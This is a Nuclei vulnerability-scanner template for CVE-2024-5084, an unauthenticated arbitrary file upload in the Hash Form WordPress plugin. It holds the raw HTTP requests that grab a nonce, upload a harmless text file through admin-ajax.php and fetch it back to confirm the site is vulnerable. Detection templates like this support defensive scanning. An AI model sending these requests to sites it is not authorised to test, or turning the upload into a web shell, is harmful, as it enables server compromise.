67 lines
2.5 KiB
YAML
67 lines
2.5 KiB
YAML
id: CVE-2024-5084
|
|
|
|
info:
|
|
name: Hash Form <= 1.1.0 - Arbitrary File Upload
|
|
author: securityforeveryone
|
|
severity: critical
|
|
description: |
|
|
The Hash Form Drag & Drop Form Builder plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the 'file_upload_action' function in all versions up to, and including, 1.1.0. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
|
|
remediation: Fixed in 1.1.1
|
|
reference:
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2024-5084
|
|
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/hash-form/hash-form-drag-drop-form-builder-110-unauthenticated-arbitrary-file-upload-to-remote-code-execution
|
|
- https://github.com/WOOOOONG/CVE-2024-5084/blob/main/CVE-2024-5084_exploit.py
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2024-5084
|
|
epss-score: 0.00063
|
|
epss-percentile: 0.27036
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
vendor: HashThemes
|
|
product: Hash Form
|
|
framework: wordpress
|
|
publicwww-query: "/wp-content/plugins/hash-form/"
|
|
tags: cve,cve2024,wp-plugin,wordpress,file-upload,rce,intrusive
|
|
|
|
variables:
|
|
filename: "{{rand_base(5)}}"
|
|
num: "{{rand_int(1000, 9999)}}"
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET / HTTP /1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
- |
|
|
POST /wp-admin/admin-ajax.php?action=hashform_file_upload_action&file_uploader_nonce={{nonce}}&allowedExtensions%5B0%5D=txt&sizeLimit=1048576&qqfile={{filename}}.txt HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
{{md5(num)}}
|
|
|
|
- |
|
|
GET /wp-content/uploads/hashform/temp/{{filename}}.txt HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'contains_all(body_2,"success","true","url") && status_code_2 == 200'
|
|
- 'contains(body_3,"{{md5(num)}}") && status_code_3 == 200'
|
|
condition: and
|
|
|
|
extractors:
|
|
- type: regex
|
|
name: nonce
|
|
part: body
|
|
group: 1
|
|
regex:
|
|
- '"ajax_nounce":"([0-9a-z]+)","preview_img'
|
|
internal: true
|
|
# digest: 4a0a00473045022031903fcaa4d2765a2948e67ebb0ffdf4f51f2b6715ec1426f372476ab7cc1f54022100f6f757d7bdbf2faee44dd9dc6faf67322cd1ff0f7c07430c9bd4e9f9bbec82c0:922c64590222798bb761d5b6d8e72950 |